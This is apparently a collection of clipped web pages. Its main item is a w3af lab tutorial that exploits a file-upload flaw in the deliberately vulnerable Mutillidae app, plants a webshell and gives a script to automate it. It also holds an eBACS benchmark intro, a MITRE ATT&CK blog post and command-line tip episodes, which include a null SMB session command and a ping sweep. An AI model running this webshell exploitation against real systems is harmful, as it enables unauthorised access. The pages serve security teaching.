    | phishtank              |         | Yes  | Search the phishtank.com         |
    |                        |         |      | database to determine if your    |
    |                        |         |      | server is (or was) being used in |
    |                        |         |      | phishing scams.                  |
    | phpEggs                |         |      | Fingerprint the PHP version      |
    |                        |         |      | using documented easter eggs     |
    |                        |         |      | that exist in PHP.               |
    | phpinfo                |         |      | Search PHP Info file and if it   |
    |                        |         |      | finds it will determine the      |
    |                        |         |      | version of PHP.                  |
    | pykto                  |         | Yes  | A nikto port to python.          |
    | robotsReader           |         |      | Analyze the robots.txt file and  |
    |                        |         |      | find new URLs                    |
    | serverHeader           |         | Yes  | Identify the server type based   |
    |                        |         |      | on the server header.            |
    | serverStatus           |         |      | Find new URLs from the Apache    |
    |                        |         |      | server-status cgi.               |
    | sharedHosting          |         | Yes  | Use MSN search to determine if   |
    |                        |         |      | the website is in a shared       |
    |                        |         |      | hosting.                         |
    | sitemapReader          |         |      | Analyze the sitemap.xml file and |
    |                        |         |      | find new URLs                    |
    | slash                  |         |      | Identify if the resource         |
    |                        |         |      | http://host.tld/spam/ and        |
    |                        |         |      | http://host.tld/spam are the     |
    |                        |         |      | same.                            |
    | spiderMan              |         | Yes  | SpiderMan is a local proxy that  |
    |                        |         |      | will collect new URLs.           |
    | urlFuzzer              |         | Yes  | Try to find backups, and other   |
    |                        |         |      | related files.                   |
    | userDir                |         | Yes  | Try to find user directories     |
    |                        |         |      | like "http://test/~user/" and    |
    |                        |         |      | identify the remote OS based on  |
    |                        |         |      | the remote users.                |
    | webDiff                |         | Yes  | Compare a local directory with a |
    |                        |         |      | remote URL path.                 |
    | webSpider              | Enabled | Yes  | Crawl the whole site to find new |
    |                        |         |      | URLs                             |
    | wordnet                |         | Yes  | Use the wordnet lexical database |
    |                        |         |      | to find new URLs.                |
    | wsdlFinder             |         |      | Find web service definitions     |
    |                        |         |      | files.                           |
    | yahooSiteExplorer      |         | Yes  | Search Yahoo's index using Yahoo |
    |                        |         |      | site explorer to get a list of   |
    |                        |         |      | URLs                             |
    | zone_h                 |         |      | Find out if the site was defaced |
    |                        |         |      | in the past.                     |
    |----------------------------------------------------------------------------|
    w3af/plugins>>>
    
[/code]

Next we want to set how w3af is going to output the results. We jump into the
output plugin, see what the options are, and then set and configure them.

[code]

    w3af/plugins>>> output
    |----------------------------------------------------------------------------|
    | Plugin    | Status  | Conf | Description                                   |
    | name      |         |      |                                               |
    |----------------------------------------------------------------------------|
    | console   |         | Yes  | Print messages to the console.                |
    | gtkOutput |         |      | Saves messages to kb.kb.getData('gtkOutput',  |
    |           |         |      | 'queue'), messages are saved in the form of   |
    |           |         |      | objects.                                      |
    | htmlFile  |         | Yes  | Print all messages to a HTML file.            |
    | textFile  |         | Yes  | Prints all messages to a text file.           |
    | xmlFile   |         | Yes  | Print all messages to a xml file.             |
    |----------------------------------------------------------------------------|
    w3af/plugins>>> output console, htmlFile
    w3af/plugins>>> output config htmlFile
    w3af/plugins/output/config:htmlFile>>> view
    |-----------------------------------------------------------------------------|
    | Setting  | Value       | Description                                        |
    |-----------------------------------------------------------------------------|
    | verbose  | False       | True if debug information will be appended to the  |
    |          |             | report.                                            |
    | fileName | report.html | File name where this plugin will write to          |
    |-----------------------------------------------------------------------------|
    w3af/plugins/output/config:htmlFile>>> set fileName w3af-report.html
    w3af/plugins/output/config:htmlFile>>> view
    |----------------------------------------------------------------------------|
    | Setting  | Value            | Description                                  |
    |----------------------------------------------------------------------------|
    | verbose  | False            | True if debug information will be appended   |
    |          |                  | to the report.                               |
    | fileName | w3af-report.html | File name where this plugin will write to    |
    |----------------------------------------------------------------------------|
    w3af/plugins/output/config:htmlFile>>>back
    w3af/plugins>>> output
    |----------------------------------------------------------------------------|
    | Plugin    | Status  | Conf | Description                                   |
    | name      |         |      |                                               |
    |----------------------------------------------------------------------------|
    | console   | Enabled | Yes  | Print messages to the console.                |
    | gtkOutput |         |      | Saves messages to kb.kb.getData('gtkOutput',  |
    |           |         |      | 'queue'), messages are saved in the form of   |
    |           |         |      | objects.                                      |
    | htmlFile  | Enabled | Yes  | Print all messages to a HTML file.            |
    | textFile  |         | Yes  | Prints all messages to a text file.           |
    | xmlFile   |         | Yes  | Print all messages to a xml file.             |
    |----------------------------------------------------------------------------|
    w3af/plugins>>> 
    
[/code]

Now we have finished with the plugin configuration and need to jump back to
the main w3af console section.

[code]

    w3af/plugins>>> back
    
[/code]

Finally, we are now ready to kick off the w3af scan with the start command.
Just as with the GUI, this will scan moving from discovery to audit. Let's see
what this looks like.

[code]

    w3af>>> start
    New URL found by webSpider plugin: http://192.168.117.1/mutillidae/audit/file_upload/uploader.php
    Found 2 URLs and 3 different points of injection.
    The list of URLs is:
    - http://192.168.117.1/mutillidae/audit/file_upload/
    - http://192.168.117.1/mutillidae/audit/file_upload/uploader.php
    The list of fuzzable requests is:
    - http://192.168.117.1/mutillidae/audit/file_upload/ | Method: GET
    - http://192.168.117.1/mutillidae/audit/file_upload/uploader.php | Method: GET
    - http://192.168.117.1/mutillidae/audit/file_upload/uploader.php | Method: POST | Parameters: (MAX_FILE_SIZE="100000", uploadedfile="")
    Starting fileUpload plugin execution.
    A file upload to a directory inside the webroot was found at: "http://192.168.117.1/mutillidae/audit/file_upload/uploader.php", using HTTP method POST. The sent post-data was: "MAX_FILE_SIZE=100000&uploadedfile=<file_object>". The modified parameter was "uploadedfile". This vulnerability was found in the requests with ids 15 and 22.
    Finished scanning process.
    w3af>>> 
    
[/code]

Now that we have found a vulnerability in the application, as indicated by the
last line of the scan output above, we can move into the exploit phase. Here
we get to use the happy little command exploit.

[code]

    w3af>>> exploit
    
[/code]

We see the possible exploit plugins by running the list command.

[code]

    w3af/exploit>>> list
    |-----------------------------------------------------------------------------|
    | Plugin                 | Description                                        |
    |-----------------------------------------------------------------------------|
    | sqlmap                 | Exploits [blind] sql injections using sqlmap (     |
    |                        | http://sqlmap.sf.net ).                            |
    | osCommandingShell      | Exploit OS Commanding vulnerabilities.             |
    | xssBeef                | Exploit XSS vulnerabilities using beEF (           |
    |                        | www.bindshell.net/tools/beef/ ) .                  |
    | localFileReader        | Exploit local file inclusion bugs.                 |
    | rfiProxy               | Exploits remote file inclusions to create a proxy  |
    |                        | server.                                            |
    | remoteFileIncludeShell | Exploit remote file include vulnerabilities.       |
    | davShell               | Exploit web servers that have unauthenticated DAV  |
    |                        | access.                                            |
    | eval                   | Exploit eval() vulnerabilities.                    |
    | fileUploadShell        | Exploit applications that allow unrestricted file  |
    |                        | uploads inside the webroot.                        |
    | sql_webshell           | Exploits [blind] sql injections by uploading a     |
    |                        | webshell to the target webroot.                    |
    |-----------------------------------------------------------------------------|
    w3af/exploit>>>
    
[/code]

Since we only audited the application for file upload vulnerabilities, it is
pretty obvious that we select the fileUploadShell option.

[code]

    w3af/exploit>>> exploit fileUploadShell
    fileUploadShell exploit plugin is starting.
    Vulnerability successfully exploited. This is a list of available shells and proxies:
    - [0] <fileUploadShell object (ruser: "contextsecurity\\seth" | rsystem: "CONTEXTSECURITY - Windows_NT - x86 Family 6 Model 15 Stepping 13, GenuineIntel")>
    Please use the interact command to interact with the shell objects.
    
[/code]

The phpshell has now been pushed to the target and instantiated. As indicated
by the last line of output above, we connect to it with the interact <session
number> command. Our prompt changes to indicate that we are indeed running in
an exploit shell. However, we can run our little shell commands on the target
host. We get back to w3af by running the endInteraction command.

[code]

    w3af/exploit>>> interact 0
    Execute "endInteraction" to get out of the remote shell. Commands typed in this menu will be runned through the fileUploadShell shell
    w3af/exploit/fileUploadShell-0>>> hostname
    contextsecurity
    
    w3af/exploit/fileUploadShell-0>>> echo %username%
    seth
    
    w3af/exploit/fileUploadShell-0>>> endInteraction
    w3af/exploit>>>
    
[/code]

## Script Magic

Talking through the above console interaction might have felt like it took a
really long time, but in fact it is pretty quick, and easy, once you remember
the places that are in need of configuration. However, a very nice feature of
w3af is the ability to create scripts of scans that you plan to run
frequently. Creating w3af scripts is as easy as running a scan from the
console, because, in effect, you simply put each command as you would type it
in the console on a separate line.

[code]

    target
    set targetOS windows
    set targetFramework php
    set target http://192.168.117.1/mutillidae/audit/file_upload/
    back
    plugins
    audit fileUpload
    discovery webSpider
    discovery config webSpider
    set onlyForward True
    back
    output console, htmlFile
    output config htmlFile w3af-report.html
    back
    back
    start
    exploit
    exploit fileUploadShell
    interact 0
    hostname
    dir
    endInteraction
    
    
[/code]

For instance we could save the above set of commands as a script called
fileupload.w3af. Assuming that name \(and a path of ~/.w3af/scripts/\) we
could run the scripted version with the following command:

  

[code]

    w3af_console -s  ~/.w3af/scripts/fileupload.w3af
    
[/code]

## References

w3af videos: Though I enjoyed making my w3af video, I would be remiss not to
mention the videos available here:http://w3af.sourceforge.net/videos/video-
demos.php Mutillidae: Thanks again to Irongeek\! Check out Mutillidae
athttp://www.irongeek.com/i.php?page=security/mutillidae-deliberately-
vulnerable-php-owasp-top-10

  

# Metasploit Framework - /modules/post/windows/gather/bitcoin\_jacker.rb -
Metasploit Redmine Interface

**Created:**| _6/21/2011 7:59:10 AM_  
---|---  
**Updated:**| _6/21/2011 7:59:18 AM_  
**Author:**| __  
**Tags:**| _Metasploit LOLZ_  
  
root / modules / post / windows / gather / bitcoin\_jacker.rb @ 12993 @ 12993

# Introduction

**Created:**| _4/14/2011 3:19:06 PM_  
---|---  
**Updated:**| _4/14/2011 3:19:06 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# eBACS: ECRYPT Benchmarking of Cryptographic Systems

| <img src='img/Temp2_4549.png' width='179' height='79' />  
ECRYPT II  
---|---  
**General information:**| **Introduction**| eBASH| eBASC| eBATS| SUPERCOP|
XBX| Computers  
---|---|---|---|---|---|---|---  
**How to submit new software:**| Hash functions| Stream ciphers| DH functions|
Public-key encryption| Public-key signatures  
---|---|---|---|---|---  
**List of primitives measured:**| SHA-3 candidates| All hash functions| Stream
ciphers| DH functions| Public-key encryption| Public-key signatures  
---|---|---|---|---|---|---  
**Measurements indexed by machine:**| SHA-3 candidates| All hash functions|
Stream ciphers| DH functions| Public-key encryption| Public-key signatures  
---|---|---|---|---|---|---  
# Introduction

Users of cryptography have a choice of public-key signature systems, including
RSA, DSA, ECDSA, and many more. Exactly how fast are these systems? How do the
speeds vary among Core 2, Athlon 64, PowerPC, etc.? How much network bandwidth
do the systems consume? The same questions arise for many other cryptographic
operations, including public-key encryption, Diffie–Hellman public-key secret
sharing, secret-key encryption, and hash functions.

eBACS \(**E** CRYPT **B** enchm**a** rking of **C** ryptographic **S**
ystems\) aims to answer these questions. eBACS unifies and integrates

  * eBATS \(**E** CRYPT **B** enchmarking of **A** symme**t** ric **S** ystems\), a competition to identify the most efficient public-key systems; 
  * eBASC \(**E** CRYPT **B** enchm**a** rking of **S** tream **C** iphers\), a continuation of the benchmarking carried out in eSTREAM, the ECRYPT Stream Cipher Project; and 
  * eBASH \(**E** CRYPT **B** enchmarking of **A** ll **S** ubmitted **H** ashes\), a project to measure the performance of hash functions. 

The eBACS/eBATS/eBASC/eBASH mailing list is named after eBATS, the first of
these projects. To join the mailing list, send an empty message to `ebats-
subscribe` at `list.cr.yp.to`.

eBACS is organized by ECRYPT II, a Network of Excellence within the European
Commission's Seventh Framework Programme \(FP7\), contract number
ICT-2007-216676. eBACS is an activity of ECRYPT's Virtual Application and
Implementation Research Lab \(VAMPIRE\). ECRYPT II began 1 August 2008. Some
components of eBACS began earlier, as part of ECRYPT, a Network of Excellence
within the European Commission's Sixth Framework Programme \(FP6\), contract
number IST-2002-507932. Many further improvements to eBACS have been funded by
grant 60NANB10D004 from the United States National Institute of Standards and
Technology \(NIST\). eBACS also incorporates data from the XBX project by
Christian Wenzel-Benner and Jens Gräf.

If you use eBACS information in a paper then you should cite the web pages as
follows:

> Daniel J. Bernstein and Tanja Lange \(editors\). eBACS: ECRYPT Benchmarking
> of Cryptographic Systems. http://bench.cr.yp.to, accessed 7 March 2013.
Replace 7 March 2013 by your download date.

## History

ECRYPT's STVL lab distributed a new benchmarking suite as part of eSTREAM, a
multi-year project that has identified several promising new stream ciphers.
The benchmarking suite was written by Christophe De Cannière. The benchmarking
suite was made public, allowing third parties to collect and verify
performance data for more than thirty stream ciphers submitted to eSTREAM.

STVL's successful benchmarking efforts inspired VAMPIRE's eBATS, a competition
for the fastest public-key software. VAMPIRE developed a new benchmarking
suite, BATMAN \(**B** enchmarking of **A** symmetric **T** ools on **M**
ultiple **A** rchitectures, **N** on-Interactively\), to collect measurements
of BATs \(**B** enchmarkable **A** symmetric **T** ools\) on a large number of
computers. The eBATS measurements and comparisons began at the end of 2006.

VAMPIRE subsequently initiated the eBASC and eBASH projects. eSTREAM finished
in April 2008 but VAMPIRE will continue to accept new stream ciphers for
benchmarking as part of eBASC. VAMPIRE is also providing hash-function
performance data to NIST as part of eBASH.

VAMPIRE developed a new unified benchmarking suite, SUPERCOP, that benchmarks
hash functions, secret-key stream ciphers, public-key encryption systems,
public-key signature systems, and public-key secret-sharing systems. Unified
measurements were collected on fifty computers in July 2008.

## Version

This is version 2010.11.23 of the index.html web page. This web page is in the
public domain.

# Using ATT&CK to Advance Cyber Threat Intelligence – Part 1

**Created:**| _5/25/2018 10:23:04 AM_  
---|---  
**Updated:**| _5/25/2018 10:23:04 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Using ATT&CK to Advance Cyber Threat Intelligence – Part 1

May 24, 2018

> Cyber Threat Intelligence: Post by Katie Nickels
inShare.

Share  
---  
__Tweet

<img src='img/Temp2_8758.png' width='58' height='20' />

Print

## About ATT&CK™

_ATT &CK_ _™_ _is a MITRE-developed, globally-accessible knowledge base of
adversary tactics and techniques based on real-world observations. The ATT &CK
knowledge base is used as a foundation for the development of specific threat
models and methodologies in the private sector, in government, and in the
cybersecurity product and service community. With the creation of ATT&CK,
MITRE is fulfilling its mission to solve problems for a safer world — by
bringing communities together to develop more effective cybersecurity. ATT&CK
is open and available to any person or organization for use at no charge._

As ATT&CK continues to grow and change, we’re excited to bring you a blog
series to help you better understand ATT&CK and how to use it. In this post,
we want to highlight an area where we think ATT&CK can have a significant
impact: cyber threat intelligence. This post outlines how ATT&CK can help
analysts improve how we perform cyber threat intelligence.

## A Traditional Cyber Threat Intelligence Approach

Let’s take a quick look at how analysts have traditionally approached cyber
threat intelligence \(CTI\) before we delve into how ATT&CK can help them. For
the purposes of this blog post, we define cyber threat intelligence as the
process of analyzing information about adversaries, as well as the output of
that analysis, in a way that can be applied to help network defenders and
decisionmakers. Cyber threat intelligence has made significant advancements
over the past few years and is coming into its own as a discipline.

Much of an average cyber threat analyst's day focuses on reading: they read
vendor reports, Tweets, internal analyses, academic papers, news stories and
other sources. When they find information that is relevant to their
requirements, they may store it in a database for future use as well as add
the information to their "mental database." After processing and analyzing
that information, cyber threat analysts then write reports for their
consumers. These reports may be about a specific threat group, a vulnerability
being exploited in the wild, or a recent trend in an attack vector.

In addition to reading and writing, cyber threat analysts often spend much of
their day dealing with the other part of cyber threat intelligence:
indicators. Organizations use indicators of malicious activity, such as IP
addresses, domains, email addresses, and SSL/TLS certificates, for alerting
and hunting in support of network defense.

## Challenges with the Traditional CTI Approach

Despite advancements in cyber threat intelligence, some key issues continue to
plague analysts. Written reports will always have a role in CTI, but we should
recognize their limitations and consider adding other analysis methods to
address those limitations. Consumers may not have the time or interest to read
reports, and network defenders may find it difficult to parse through them to
apply relevant information to improve security. The sheer volume of reporting
and new threat groups threatens to drown overwhelmed analysts. It takes
analysts years to build up expertise on a threat group, and new analysts may
find it difficult to quickly get up to speed.

Indicators also have the potential to cause analysts significant frustration.
If indicators are embedded in prose reports, analysts must manually copy them,
a monotonous process that can consume most of their day. Indicator vetting can
be a time-consuming process, and if it is not done well, indicators could slip
through that cause significant false positives for defenders and impact
operations.

Indicators can be useful for network defenders when implemented in the right
way, such as to identify historic activity. Indicator extraction tools and
machine-to-machine sharing through structured languages like STIX can help
remove the need for manual analyst processing. Still, though they can be
useful, indicators are not sufficient as the only way to identify and track
adversaries.

As popularized by David Bianco's Pyramid of Pain, adversaries can easily
change hash values, IP addresses, domains, and other indicators produced by
their activities. This means that these indicator types are only useful to
detect adversaries for a fleeting time. The Pyramid of Pain encourages us to
focus on actor tactics, techniques, and procedures \(TTPs\), which cause the
most pain \(or hassle\) for an adversary to change. While the community
largely accepts that we need to move to TTPs, analysts struggle with how to
track them in a way that facilitates actionable detection and mitigation.

## How ATT&CK Can Help

ATT&CK gives us a structured way to describe adversary TTPs and behavior. This
structure allows us to compare adversary groups to themselves, to other
groups, and to defenses in a way that addresses some of the challenges
discussed earlier. Analysts and defenders can both structure their information
using ATT&CK: analysts can structure intelligence about adversary behavior,
and defenders can structure information about what behavior they can detect
and mitigate. By overlaying information from two or more groups, they can
create a threat-based awareness of what gaps they have that analysts know
adversaries are exploiting. This concept applies to all flavors of ATT&CK,
including Enterprise ATT&CK, PRE-ATT&CK, and Mobile ATT&CK. In addition to
helping analysts, performing this type of analysis also improves the
actionability of CTI for decisionmakers.

Let's see how this could work in practice by visualizing the reporting on our
ATT&CK website using the ATT&CK Navigator. The graphic below compares
techniques used by APT3 and APT29, including the techniques from the software
they use. The techniques used only by APT3 are highlighted in blue; the ones
used only by APT29 are highlighted in yellow, and the ones used by both APT3
and APT29 are color-coded in green. If APT3 and APT29 were two groups an
organization considered to be high threats, the techniques in green may be the
highest priority to determine how to mitigate and detect.

<img src='img/Temp2_8757.png' width='609' height='442' />

Enterprise ATT&CK Matrix – APT3 and APT29 Techniques / View PDF

Next, if your defenders populate an ATT&CK matrix with what techniques you can
detect, you can overlay that on to the matrix showing what techniques
adversaries use. For demonstration purposes, we created a notional matrix of
what an organization can detect and overlaid it with our previous matrix of
APT3 and APT29 techniques. We used red to denote those that both groups use
and the organization cannot detect. The techniques in red would likely be the
highest priority to focus on. You can download these matrices for yourself
from the folder of sample layers we posted on Github.

<img src='img/Temp2_8756.png' width='609' height='438' />

Enterprise ATT&CK Matrix – APT3 and APT29 Techniques with Notional Detection
Gaps / View PDF

ATT&CK also provides a common language for analysts to use when describing
adversary behavior. Analysts often use diverse ways to describe the same
adversary behavior in reporting, which can cause headaches because analysts
may interpret the behavior in different ways. ATT&CK gives analysts a set of
definitions for behavior they can use to be sure that they clearly
communicate. This normalization allows analysts to use reports from a variety
of sources to perform analysis of ATT&CK techniques.

Structuring TTPs gives us a way to count them, which helps make adversaries
and defenses measurable. Metrics about TTPs provide an easy supplement to
indicator counts that some organizations rely on to demonstrate the value of
CTI. For example, on a monthly basis, analysts could track the number of new
techniques they observe adversaries performing, and defenders could track the
number of techniques for which they created new detections.

## That Sounds Great, but Now What?

At this point, maybe we've lost you to looking at cat pictures, but maybe some
of this sounds good to you. You also may be thinking that this all sounds
great in theory but are skeptical of how to do it in practice. If that's your
concern, stay tuned, because in our next post we will discuss how you can
apply ATT&CK to CTI in practical terms.

## About Katie Nickels

Katie Nickels is a Lead Cyber Security Engineer with the MITRE Corporation.
She specializes in cyber threat intelligence, with a focus on how it can
improve network defenses. Katie works on applying threat intelligence to
ATT&CK and evangelizing how that process can help analysts. She has an
undergraduate degree from Smith College and a graduate degree from the
Security Studies Program at Georgetown University's School of Foreign Service.
Katie Nickels can be contacted here.

  

# Command Line Kung Fu: June 2009

**Created:**| _11/24/2009 7:26:35 PM_  
---|---  
**Updated:**| _11/24/2009 7:26:40 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

skip to main | skip to sidebar
# Command Line Kung Fu

This blog will include fun, useful, interesting, security related, non-
security related, tips, and tricks associated with the command line. It will
include OS X, Linux, and even Windows\!

## Tuesday, June 30, 2009

### Episode \#49: There's No Place Like %HOMEPATH%

Ed.bat >> \\\commandlinekungfu.com\2009\06\episode-49-theres-noplace-like-
homepath.html  
  
It was so long ago, yet I remember it like it was yesterday. We were just a
bumptious young group of shell jocks, plying our trade, trying to make the
world a better place. Life was simple then, and fun. Faithful readers may
recall, with a certain nostalgia, Episode \#28, a friendly little ditty about
environment variables. We focused on methods for setting them, displaying
them, and interacting with a couple of them, namely those associated with the
PATH, the current username, and the prompt. Ahhhhh... the good old days.  
  
Well, although times have changed and we're all a little worse for the wear,
I'd like to build on and extend the ideas from that episode. This time around,
we'll list our favorite variables that we didn't cover before and show some
useful applications of them.  
  
As I mentioned in Episode \#28, the "set" command lists environment variables,
we can expand a variable name into its value by surrounding it with percent
signs \(%var%\), and the variable names themselves are case insensitive. Just
to make it easier to type, I almost always refer to my variables in all lower
case, even though many are specifically defined with upper case or mixed case.  
  
One of the more useful variables we have is homepath, which is a reference to
our current user's home directory. We don't have the nifty ~ to refer to our
home directory as our bashketeer friends do, but we can get similar
functionality with:  
  

[code]

    C:\> cd %homepath%  
    C:\Users\Ed>
    
[/code]

  
Another useful environment variable is computername, which stores the name of
the local machine. In some environments, the local computer's hostname is a
byzantine mess of obtuse nonsense that is hard to type. Yet, we can always
refer to it simply using %computername% in our commands. For example, here's
how we can make a null SMB connection with ourselves, referring to our
computer name:  
  

[code]

    C:\> net use \\%computername% "" /u:""  
    The command completed successfully.  
      
    C:\> net use \\%computername% /del  
    \\DOOFENSHMIRTZ was deleted successfully.
    
[/code]

  
While the output of the set command shows us all of our statically set
variables, there are some other very useful variables that aren't static, such
as %cd% \(which is the current working directory\), %date% \(which is the
current date, used in Episode \#48\), and %errorlevel% \(which is an
indication of whether the previously executed command had an error, as I
mentioned in Episode \#47\). I'd like to discuss two more dynamic variables in
more detail, because they can be pretty darned useful: %time% and %random%.  
  
The %time% variable displays the current time down to one-hundredths of a second. We can use that to get a feel for how long it takes a given command or series of command to run, sort of emulating the Linux time command. Back in Episode \#21, I actually resorted to using the Cygwin time command to measure how long it took to run the command "dir /s /b C:\ | findstr /i vmware > nul". Instead of relying with Cygwin, I could have used the %time% variable as follows:  
  

[code]

    C:\> cmd.exe /v:on /c "echo !time! & (dir /s /b C:\ | findstr /i vmware > nul)  
    & echo !time!"     
    9:07:34.54  
    9:07:40.45  
    
    
[/code]

  
In this command, I'm invoking a cmd.exe with /v:on to turn on delayed
environment variable expansion so that my time will expand to its current
value when I call it \(as described in Episode \#48\). Otherwise, it'll always
be the same value it contains when I hit Enter. I tell my cmd.exe to run the
command \(/c\) that will echo \!time\! \(remember, delayed variable expansion
requires us to refer to \!var\! and not %var%\). It then runs whatever we have
inside the parens \(\), which is the command whose running time we want to
determine. You don't really need the parentheses, but I included them to help
offset the command we are timing. Then, after our command is finished running,
I display the current time again. While this will not do the math for us of
showing the delta in times like the Linux time command \(that would require a
little script to parse the output\), it does give us a decent feel for how
long it took to run a command, without having to install Cygwin.  
  
And, that gets us to %random%, a variable that expands to a random number
between 0 and 32767. We can turn that into a random number between 0 and
whatever we'd like \(less than 32767\) by making our shell do math with the
set /a command \(described in Episode \#25\), applying modulo arithmetic using
the % operator:  
  
To create a random number between 0 and 99:  
  

[code]

    C:\> set /a %random% % 100  
    42
    
[/code]

To create a random number between 1 and 10:  
  

[code]

    C:\> set /a %random% % 10 + 1  
    7
    
[/code]

And, finally, to flip a coin:  
  

[code]

    C:\> set /a %random% % 2  
    1
    
[/code]

That last one should save you some change.  
  
Now, let's see what Hal.sh has up his sleeve.  
  
Hal won't get sucked in:  
  
Hal.sh? Ed, I refuse to participate in these twisted little scenarios with you
anymore. I would have thought you'd be tired after last night\! And by the
way, that French Maid outfit does nothing for your legs, big guy.  
  
So, hmmm, let's see. Oh yeah\! Shell fu\!  
  
Just to quickly give you the shell equivalents of Ed's rogue's gallery of
Windows variables, I present:  
  

[code]

    $ **echo $HOME**  
     /home/hal  
    $ **echo $HOSTNAME**  
     elk  
    $ **echo $PWD**  
     /tmp  
    $ **echo $RANDOM**  
     29597  
    $ **echo $(( $RANDOM % 10 + 1 ))**  
     3
    
[/code]

  
There's no variable in bash to tell you the time because we have the "date"
command. With a formatting options, we can get date to give us the time to
nanosecond precision:  
  

[code]

    $ **date +%T.%N**  
     10:41:29.451948717
    
[/code]

  
We can even incorporate the time into our shell prompt and/or history trail:  
  

[code]

    $ **export HISTTIMEFORMAT='%T  '**  
     $ **export PS1='(\t)$ '**  
    (10:49:53)$ **history**  
      1  10:49:34  export HISTTIMEFORMAT='%T  '  
      2  10:49:53  export PS1='(`date +%T`)$ '  
      3  10:49:56  history  
    (10:49:56)$ 
    
[/code]

  
HISTTIMEFORMAT supports the standard escape sequences used by the
strftime\(3\) library call. Usually, this means your choices are a little more
limited compared to all of the various options available to the date command
on most Linux systems \(no %N, for example\) but are typically more than
sufficient. Notice that the bash shell has also has built-in date/time escape
sequences that can be used in prompts-- like the "\t" in our example above.  
  
But there are a bunch of other shell variables that I find useful. For
example, CDPATH is a list of directories the shell will search through when
you use a non-absolute path with the cd command. For example:  
  

[code]

    $ **export CDPATH=.:$HOME**  
     $ **ls**  
     $ **cd stuff**  
     /home/hal/stuff  
    $ 
    
[/code]

  
".:$HOME" is the most common setting for CDPATH, but if you have a directory
that you commonly access-- your music or DVD collection, a programming
projects directory, etc-- adding that directory to CDPATH can save you a lot
of typing.  
  
Then there are all the common shell variables that are used by various
programs that you might execute:  
  

[code]

    $ **export EDITOR=emacs**  
     $ **export VISUAL=emacs**  
     $ **export PAGER=less**  
     $ **export TMPDIR=$HOME/.tmp**
    
[/code]

  
EDITOR and VISUAL are the programs that should be invoked when a program
\(like "crontab -e" for example\) wants to allow you to edit text, and PAGER
is your preferred screen reader. Many \(but not all\) programs will also use
the value of TMPDIR as a place to put temporary files. This helps you avoid
the risks of world-writable shared directories like /tmp and /var/tmp.  
  
And, of course, many programs in the Unix environment have their own special
shell variables. For example, $DISPLAY for X applications, $SSH\_AUTH\_SOCK
when you're using ssh-agent, and so on. Also there are variables that allow
you to configure your preferred program defaults-- like the "export
LESS='-eMqw'" setting I have in my .bashrc file.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1521.gif' width='18'
height='18' />

## Tuesday, June 23, 2009

### Episode \#48: Parse-a-Palooza

Hal takes a step back:  
  
Over the last several weeks we've been parsing a lot of different kinds of
data using all sorts of different shell idioms. Ed pointed out that it might
not be obvious to you, our readers, why we might pick one tool for a certain
job and then use a completely different tool for another task. So he suggested
a "meta-post" where we talk about the various parsing tools available in our
shells and why we might pick one over the other for certain kinds of problems.
Great idea Ed\!  
  
Then he suggested that I take a whack at starting the article. Bad idea Ed\!
Though I'm sure Ed did, and still does, think he was brilliant twice with
this. Honestly, I've been solving these problems in the shell for so long that
my parsing tool choices have become unconscious \(some scurrilous wags would
suggest that it's always been that way\), and it was actually a little
difficult to come up with a coherent set of rules for choosing between cut,
awk, and sed. But here goes:  
  

  1.   

  2. cut is definitely the tool of choice if you need to extract a specific range of characters from your lines of input. An example of this would be extracting the queue IDs from file names in the Sendmail message queue, as I did in Episode 12:  
  

[code]    **grep -lspammer@example.com qf* | cut -c3- | xargs -I'{}' rm qf{} df{}**
[/code]

  
cut is the only tool that allows you to easily pull out ranges of characters
like this.

  3.   
  

  4. cut is also useful when your input contains strongly delimited data, like when I was parsing the /etc/group file in Episode 43:  
  

[code]    **cut -f1,4 -d: /etc/group**

[/code]

  5.   
  

  6. awk, of course, is the best tool to use when you're dealing with whitespace delimited data. The canonical example of this is using awk to pull out process ID info from the output of ps:  
  

[code]    **ps -ef | awk '{print $2}'**
[/code]

  7.   
  

  8. awk also has a variety of built-in matching operators, which makes it ideal when you only want a subset of your input lines. In fact, because awk has the "-F" option to specify a different delimiter than just whitespace, there are times when I prefer to use awk instead of cut on strongly delimited input. This is typically when I only want the data from some of the input lines and not others. Paul learned this in Episode 13:  
  

[code]    **awk -F'|' '/CVE-2008-4250/ {print $1}' | sort -u**
[/code]

  
Remember, if you find yourself piping grep into cut, you probably should be
using awk instead.

  9.   
  

  10. I use sed when I need to parse and modify data on the fly with the flexible matching power of regular expressions. For example, there's this bit of sed fu to extract browser names from Apache access\_log files that I concocted for Episode 38:  
  

[code]    **sed -r 's/.*(MSIE [0-9]\.[0-9]|Firefox\/[0-9]+|Safari|-).*/\1/'
access_log***

[/code]

  11.   

  
Rules, of course, are made to be broken. YMMV, and so on. But I hope these
will help all of you when you're trying to figure out the best way to solve a
parsing problem in the Unix shell.  
  
Ed jumps in:  
You know, Hal, I have a confession to make, just between the two of us and the
growing multitude of faithful readers of this blog. I envy you. There I said
it. And, my envy is not just because of your thick, luxurious hair \(which is
a certain sign of a deal with the devil, if you ask me... but I digress\). No,
my envy is based primarily on all of the great options you and your beloved
bash have for parsing text. The cmd.exe parsing options pale in comparison to
the splendors of cut, awk, and sed. But, as they say, you gotta dance with the
one that brung ya, so here is how I approach parsing my output in cmd.exe.  
  
Following your lead, Hal, here are the rules, followed in order, that I apply
when parsing output in cmd.exe:  
  

  1. Starting from first principles, I see if there is a line of output of a command that already has what I want in it, and whether that line is acceptable for me to use by itself. If so, I just compose the appropriate syntax for the find or findstr commands to locate the line\(s\) that I'm interested in. For example, I did this in Episode \#6 to create a command-line ping sweeper with this command:  
  

[code]    C:\> FOR /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"
    
[/code]

  
Because the only output lines I'm looking for have the text "Reply" in them,
no parsing is necessary. This is a lucky break, and in cmd.exe, we take all
the lucky breaks we can. If I need regex, I use findstr instead of the find
command.  
  

  2. When the output I'm looking for won't work "as-is", and I need to change the order, extract, or otherwise alter output fields, I've gotta do some more intricate parsing. Unlike the various options bash users have, we don't really have a lot to brainstorm through with cmd.exe. Most of our parsing heavy lifting is done with the FOR /F command. This is the most flexible of all FOR commands in Windows, allowing us to parse files, strings, and the output of a given command. In fact, if you ever want to assign a shell variable with the value of all or part of the output of a command in cmd.exe, you are going to likely turn to FOR /F loops to do it, whether you want to parse the output or not.  
  
The syntax of a FOR /F loop that iterates over the output of \[command1\],
running \[command2\] on whatever you've parsed out looks like this:  
